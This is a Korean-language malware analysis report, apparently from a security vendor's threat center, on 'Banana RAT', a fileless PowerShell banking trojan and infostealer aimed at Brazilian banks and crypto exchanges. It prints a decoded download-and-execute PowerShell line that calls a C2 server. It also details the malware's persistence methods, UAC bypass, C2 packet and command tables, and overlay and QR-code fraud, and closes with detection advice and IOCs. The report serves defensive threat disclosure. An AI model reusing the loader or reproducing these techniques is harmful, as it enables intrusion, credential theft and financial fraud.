악성코드 분석 2026-07-06
최근 브라질을 중심으로 급격히 확산되어 글로벌 가상자산 거래소까지 위협하고 있는 신종 악성코드 'Banana RAT'이 PowerShell 기반 핵심 모듈을 통해 확산되고 있다. Banana RAT은 전통적인 금융 트로이목마의 '가짜 화면 오버레이(Overlay)' 및 '입력 제어' 기술을 계승하는 동시에, 시스템 은닉 및 파일리스(Fileless) 실행 기법을 극대화하여 윈도우 디펜더 및 주요 EDR 솔루션을 무력화하도록 설계되었다. 특히 공격자가 피해자의 화면을 실시간으로 감시 및 제어하는 원격 제어 백도어(RAT) 속성과 중요 자산 파일을 탈취하는 인포스틸러(InfoStealer)의 속성을 정교하게 결합한 하이브리드형 고위험군 악성코드이다.
<그림 1> 악성 코드 동작 구성도
해당 악성코드는 WhatsApp 또는 피싱 URL를 통해 악성 배치 파일을 다운로드 및 실행을 유도한다. 첨부된 파일은 Consultar_NF-e.bat 파일이며, <그림 2>처럼 문자열들을 10진수로 인코딩되어 있다. 해당 문자열을 아스키코드로 다시 인코딩하면, “& ([ScriptBlock]::Create((New-Object Net.WebClient).DownloadString('http://24[.]199[.]90[.]58/st.txt')))” 이며, C2 서버에서 추가로 스크립트를 실행한다.
<그림 2> 주요 함수가 인코딩된 Consultar_NF-e.bat 파일
<그림 3> 디코딩된 Consulta_NF-e.bat
st.txt가 실행되면 C2 내부의 payload.php 파일을 다운받아 피해자 PC의 ‘C:\Users\Public\Documents 경로에 msedge.txt 파일로 생성된다. 그 후 gc $f –RAW 명령어로 다운로드한 txt 파일의 전체 내용을 읽어온 뒤, 메모리 상에서 스크립트 블록으로 생성하여 즉시 실행한다. 정상 파일 위장을 위해 msedge.txt 형태로 스크립트를 생성하고, 인메모리 형태로 실행하여 보안 솔루션의 탐지를 회피한다.
<그림 4> st.txt 스크립트
유출된 소스코드가 있어 해당 소스코드를 통해 분석을 진행하였다. RAT이 인메모리에서 실행되면 Start-Client 함수가 실행된다. 해당 함수에서는 RAT의 중복 실행을 피하면서 기존에 실행중인 RAT이 있다면 종료하고, 새로 실행한다. 또한 실행 권한에 따라 권한 상승 및 서비스 설치를 시도한다.
<그림 5> 실행중인 RAT 종료
<그림 6> 실행 권한 상승 및 서비스 설치 시도
Resolve-ServerAddress를 실행하여 C2 주소 c[.]windowsk-cdn[.]com에 연결한다. 백신 등의 탐지를 피하기 위해 windows가 들어간 도메인을 사용하는 것으로 추정된다. C2 주소와 연결에 성공하면, 원활한 통신을 위해 Send/Receive 버퍼를 설정하고, 패킷 헤드에 시그니처 문자인 LQWP(0x4C, 0x51, 0x57, 0x50)을 추가한 후 패킷 타입인 0x01를 추가하여 C2에 전송한다. 이를 통해 C2와 원활한 통신 연결을 확인한다.
<그림 7> 코드 내부에 저장된 C2 주소
<그림 8> C2 초기 통신 시도
C2와 통신을 성공하면 현재 감염된 PC의 정보를 수집한 후 json 형태로 변환하여 전송한다. 이 때도 시그니처 문자열과 패킷 타입으로 0xE6를 추가하여 전송한다.
<그림 9> 감염 시스템 정보 수집 및 C2 전송
<그림 10> 수집하는 정보들
수집하는 정보는 아래와 같다.
| 변수명 | 수집하는 정보 | 변수명 | 수집하는 정보 |
|---|---|---|---|
| MachineGuid | 레지스트리 고유 기기 GUID (또는 PC-사용자명 조합) | MacAddress | 활성화된 네트워크 카드의 MAC 주소 |
| InstallToken | 최초 설치 시 생성된 고유 식별 토큰 | ScreenWidth | 주 모니터 화면 가로 해상도 픽셀 크기 |
| TokenProof | 토큰 기반 인증 증적 데이터 | ScreenHeight | 주 모니터 화면 세로 해상도 픽셀 크기 |
| Campaign | 악성코드 유포 캠페인 식별자 | CPU | 프로세서 모델명 |
| MachineName | 컴퓨터 이름 | RAM | 총 물리 메모리 용량 (GB 단위) |
| MachineDomain | 컴퓨터 소속 도메인 | ClientVersion | 악성코드 에이전트 빌드 버전 |
| LoggedOnUserName | 현재 로그인된 사용자 계정명 | PcSpeed | 감염 PC 체감 성능 프로파일 설정 값 |
| LoggedOnUserDomain | 로그인된 사용자 도메인 | TargetFps | 타겟 스트리밍 프레임 수 (FPS) |
| OperatingSystemName | 윈도우 운영체제 제품명 | OverlayActive | 가짜 기만 화면 활성화 여부 |
| OperatingSystemVersion | 윈도우 OS 빌드 버전 | OverlayMode | 직전/현재 활성화된 오버레이 모드 번호 |
| ElevationType | 현재 스크립트 실행 권한 레벨 (User / Admin / System) | InputBlocked | 사용자 마우스/키보드 입력 차단 여부 |
| LocalIPs | 내부 IPv4 주소 목록 |
<표 1> 수집 정보 리스트
C2에 감염 PC의 정보를 전송하고 나면 안정적인 통신을 위해 세션을 맺게 된다. 그 후 C2와의 네트워크 소켓 스트림에서 데이터를 파싱하여 json 형태로 복원한 뒤, 각 1바이트 Hex 명령어 코드에 따라 원격 제어, 정보 탈취, 화면 오버레이 제어 등의 동작을 수행하게 된다.
<그림 11> C2와 원활한 통신을 위해 세션 생성
<그림 12> 패킷 타입에 따라 공격 동작 수행
아래는 패킷 타입 0xA0의 동작이며, C2에 명령어를 받아 감염 PC에서 쉘 명령어를 실행한다. 실행 명령어 및 실행 결과에 대해서는 AES 암호 알고리즘을 통해 암/복호화하여 백신 등에 탐지되지 않도록하고 있다.
<그림 13> C2에서 명령을 받아 쉘 명령어 실행
아래는 각 패킷 타입에 따른 동작들을 정리한 것이다.
| 명령어 | 대상 기능 | 주요 동작 |
|---|---|---|
| 0x01 | ClientHello | C2 연결 개시 |
| 0x02 | ServerHello | C2 연결 응답 |
| 0x06 | SessionInfo | 세션 수립 승인 |
| 0x10 | ScreenFrame | 화면 데이터 전송 |
| 0x11 | ScreenStreaming | 스트리밍 제어 |
| 0x13 | QualityChange | 대역폭 화질 조절 |
| 0x14 | MonitorList | 모니터 정보 요청 |
| 0x15 | MonitorSelect | 타겟 모니터 변경 |
| 0x20 | MouseMove | 마우스 이동 제어 |
| 0x21 | MouseButton | 마우스 클릭 제어 |
| 0x22 | MouseWheel | 마우스 휠 제어 |
| 0x23 | Keyboard | 키보드 입력 제어 |
| 0x40 | ClipboardText | 클립보드 변조 |
| 0x50 | GetFileList | 파일 구조 탐색 |
| 0x51 | FileListResponse | 탐색 결과 반환 |
| 0x53 | FileDataResponse | 탈취 파일 전송 |
| 0x54 | GetFileData | 감염 PC 내 파일 다운로드 |
| 0x55 | FileUpload | 악성 파일 업로드 |
| 0x61 | Screenshot/Popup | 가짜 캡처 창/팝업 |
| 0x64 | AutoQRToggle | 자동 QR 탐지 스위치 |
| 0x66 | ShowQROverlay | 사기용 QR 코드 주입 |
| 0x67 | HideQROverlay | 주입 QR 은닉 |
| 0x70 | InputTrackStart | 키로깅 시작 |
| 0x71 | InputTrackStop | 키로깅 중지 |
| 0xA0 | Command | 원격 쉘 명령 실행 |
| 0xA1 | CommandResponse | 쉘 결과 반환 |
| 0xA2 | SystemCommand | 시스템 인프라 제어 |
| 0xB2 | ProcessList | 프로세스 정찰 |
| 0xB3 | ServiceList | 서비스 정찰 |
| 0xE0 | Ping | 생존 확인 |
| 0xE1 | Pong | 생존 응답 |
| 0xE6 | GuestInfo | 정찰 데이터 유출 |
<표 2> 패킷 타입에 따른 공격 동작 정리
아래 표는 패킷 타입 중 0xA2인 SystemCommand의 명령어를 정리한 것이다. 주로 권한 상승, 시스템 서비스 등록/해제, 지속성 설정, 그리고 은행 사이트 접속시 사용하는 기만용 가짜 오버레이 화면(Priv1~15) 스위칭과 자격증명 가로채기 폼을 원격에서 동적으로 제어하기 위해 뱅킹 트로이목마가 사용하는 핵심 분기 로직이 주를 이룬다.
| 명령어 | 대상 기능 |
|---|---|
| getMonitors | 시스템 모니터 정보 조회 |
| elevate_reboot | 관리자 권한 상승 시도 |
| elevate_persist | 일반 권한 기반 지속성 등록 |
| install_service | 악성 시스템 서비스 설치 |
| uninstall_service | 악성 시스템 서비스 제거 |
| get_elevation | 현재 권한 및 지속성 상태 진단 |
| get_persist | 지속성 확보 수준 진단 |
| install_persist | 은닉형 스케줄러 등록 |
| elevate / request_uac | UAC 우회 및 서비스 인젝션 |
| remove_persist | 자동 실행 흔적 일시 제거 |
| blankOn / overlay_on | 가짜 화면 오버레이 활성화 |
| blankOff / overlay_off | 가짜 화면 오버레이 비활성화 |
| blockOn | 사용자 마우스/키보드 입력 차단 |
| blockOff | 사용자 마우스/키보드 입력 해제 |
<표 3> SystemCommand 명령어 리스트 1
| 명령어 | 대상 기능 |
|---|---|
| priv1 ~ priv5 | 각 모드 번호에 매핑된 가짜 화면 실행 • priv1: 윈도우 업데이트 • priv2: 윈도우 준비 중 • priv3: 블루스크린 (BSOD) • priv4: 디스크 검사 (Chkdsk) • priv5: 블랙 화면 |
| priv6 ~ priv10 | 각 모드 번호에 매핑된 브라질 은행으로 위장 (단색 폼) |
| priv11 ~ priv15 | 각 모드 번호에 매핑된 브라질 은행으로 위장 (정밀 폼) |
| privOff | 전체 기만 오버레이 종료 |
| screenshotCancel | 가짜 캡처 오버레이 취소 |
| cropStop | 마스크 구멍 뚫기 해제 |
| lock | 윈도우 계정 화면 잠금 |
| show_qr | 금융 사기용 가짜 QR 주입 |
| hide_qr | 주입된 가짜 QR 코드 은닉 |
| unlock | 윈도우 자격증명 우회 잠금해제 |
| logoff / restart / shutdown | 시스템 전원 제어(로그오프/재부팅/종료) |
| client_restart | 악성코드 에이전트 재시작 |
| uninstall | 흔적 삭제 및 완전 자가 삭제 |
| cropArea:* | 특정 금융 좌표 마스킹 구멍 뚫기 |
| dataEntry:* | 가짜 금융 정보 입력창 팝업 |
<표 4> SystemCommand 명령어 리스트 2
지속성 등록은 레지스트리, 서비스, 작업 스케줄러 등록으로 이루어 진다. 각 지속성들은 아래의 InstallConfig을 참고하여 서비스 이름을 설정하며, 주로 윈도우 정상 프로세스로 위장하고 있다.
<그림 14> 지속성에 사용될 각종 변수가 저장된 InstallConfig
작업 스케줄러 지속성의 경우 중복 등록을 방지하기 위해 같은 이름의 스케줄을 삭제한 후 InstallConfig을 참조하여 스케줄을 등록한다. 등록된 스케줄은 파워쉘을 통해 악성코드를 실행하며, 시스템이 시작할 때 마다 1분 지연 후 관리자 권한으로 실행된다.
<그림 15> 악성코드 작업 스케줄러 등록
레지스트리 등록 또한 InstallConfig의 TaskName을 참고해서 ‘HKCU:\Software\Microsoft\Windows\CurrentVersion\Run’에 악성코드 실행 명령어를 등록한다.
<그림 16> 레지스트리에 악성코드 등록
서비스 등록 또한 InstallConfig을 참조하여 서비스명을 설정하며, 실행 파라미터로 파워쉘을 통해 인메모리 형태로 스크립트를 실행하는 방식으로 지속성을 설정한다.
<그림 17> 서비스에 파워쉘 실행 명령어 등록
<그림 18> 서비스 악성코드 등록
악성코드의 주요 기능 중 하나는 금융 기관 사이트 대한 피싱 행위 및 금융 정보 탈취로 이를 위해서 다양한 기능을 제공하고 있다. 악성코드를 통해 모니터링을 하면서 지정된 문구가 있는지 확인한다. 또한 웹 브라우저 접속시 브라우저의 타이틀을 확인하여 저장된 금융 기관 정보와 비교한다. 다양한 금융 기관에 대상으로 하며, 은행, 금융협동조합, 코인거래소를 대상으로 한다.
<그림 19> 모니터링 문자열(브라질 금융 기관 문자열)
<그림 20> 모니터링하는 브라우저 리스트
그 후 코드 내에 저장된 Base64로 인코딩된 금융 시스템 캡처본을 디코딩한 후 C:\Windows\Temp 경로에 파일로 생성한다. 스크린샷 이미지를 화면 전체에 띄우고, 이미지의 특정 영역을 비워서 실제 금융 기관의 실시간 결재 QR 코드를 비워둔 영역에 노출되도록 하여, 피해자가 정상 페이지에 접근했다 생각되게 만든다. 그 후 특정 좌표 영역에 보이지 않는 입력 필드와 버튼을 매핑하여 사용자의 금융 자격증명(비밀번호, 거래 서명 등)을 탈취한다.
<그림 21> 위장용 금융 기관 이미지 저장 경로
<그림 22> 화면의 특정 위치를 비워둬 창 아래 QR 코드 보이도록 위장
금융 정보 탈취 외에도 피해자 화면에 사기용 QR코드를 덮어씌어 공격자가 원하는 금융 활동을 유도한다. 피해자의 화면 배율이나 은행 창 위치가 바뀌더라도 픽셀 오차 없이 정확하게 사기용 QR 코드를 원격으로 조준하여 주입한다. 이를 위해서 실시간 화면 전송이나 금융 문구를 확인하는 모니터링을 지속적으로 실행한다.
<그림 23> 사기용 QR 코드 설정
<그림 24> 피해자 화면 실시간 모니터링
그 외에도 현재 사용자의 화면을 스크린샷 찍어서 해당 이미지를 C2에 전송하거나, 피해자의 화면을 공격자가 설정한 화면으로 덮어씌어 그 사이에 다른 동작을 실행하거나, 공격자가 감염 시스템 내부 파일들을 확인하고 공격자가 원하는 파일들 다운로드하는 등 다양한 공격 기능들이 있다.
<그림 25> 사용자 화면 스크린샷
<그림 26> 공격자가 설정한 화면 오버레이
<그림 27> 감염 시스템에서 원하는 파일 다운로드
BananaRAT은
단순한 해외 일회성 금융 사기 툴킷이
아니며,
윈도우
운영체제의 하위 서브시스템 그래픽 API,
프로세스
토큰 권한 모델,
그리고
메모리 기반 파일리스(Fileless)
파워쉘
인젝션
기법을 완벽하게 이해하고 설계된 고도로 구조화된 원격 제어 및 인포스틸러 프레임워크이다.
이
악성코드가 사용하는 기술적 본질
프로세스
무단
상주를 위한 작업 스케줄러 복구 루틴,
Winlogon
시스템
토큰 복제를 통한 계정 잠금 무력화,
창
제목 감시를 통한 동적 오버레이
및 마우스 감금(ClipCursor)—은
특정 국가의 운영체제 빌드에
구애받지
않고 모든 Windows
인프라에
동일하게 작동하는 보편적 위협 요소이다.
현재
수집된 악성코드 내부의 모니터링 키워드는
브라질
대형 은행들과 글로벌 암호화폐 거래소(Binance,
Coinbase,
Bybit)에
집중되어 있으나,
이
공격 기법은 한국 금융 환경 및 개인·기업
사용자를 대상으로도 즉각적이고 충분한 피해를
입힐
수 있다.
BananaRAT은
파워쉘
메모리 인젝션을
통한 파일리스 실행 기법과 정상 마이크로소프트 구성 요소 기만(Masquerading) 기법을
적극적으로 차용하므로,
단순
파일 시그니처
기반 탐지로는 방어가 불가능하다.
따라서
프로세스 커맨드라인 내 런타임 인수 검사,
상시적인
Run/RunOnce
및
작업 스케줄러 내 위장 키워드 이상 징후 모니터링, 그리고 비정상적인 커스텀
TCP
포트
통신 행위 기반 탐지 체계 마련이 시급히 요구된다.
SHA256
st.txt
ecdc8fade561a75d68235859ad8b1fe131db2c458b4894268e38e90ecab1c47f
st.php
38dfeb772afbd01c04eddda120d283acfb1147a6dc3d54ac62fe23ad06e39d8f
payload.php
4912b1134e69ade7266e8508eec33ccb2d80ad693f1dbc4f1f4344c6dfcf2ff1
msedge.txt
d7545b6dacebdae27effb3c778c5e349027ec789c76ae4f777bd9ba56a70cdaa
C2
C[.]windowsk-cdn[.]com
162[.]141[.]111[.]227
위협분석센터
ch.park@piolink.com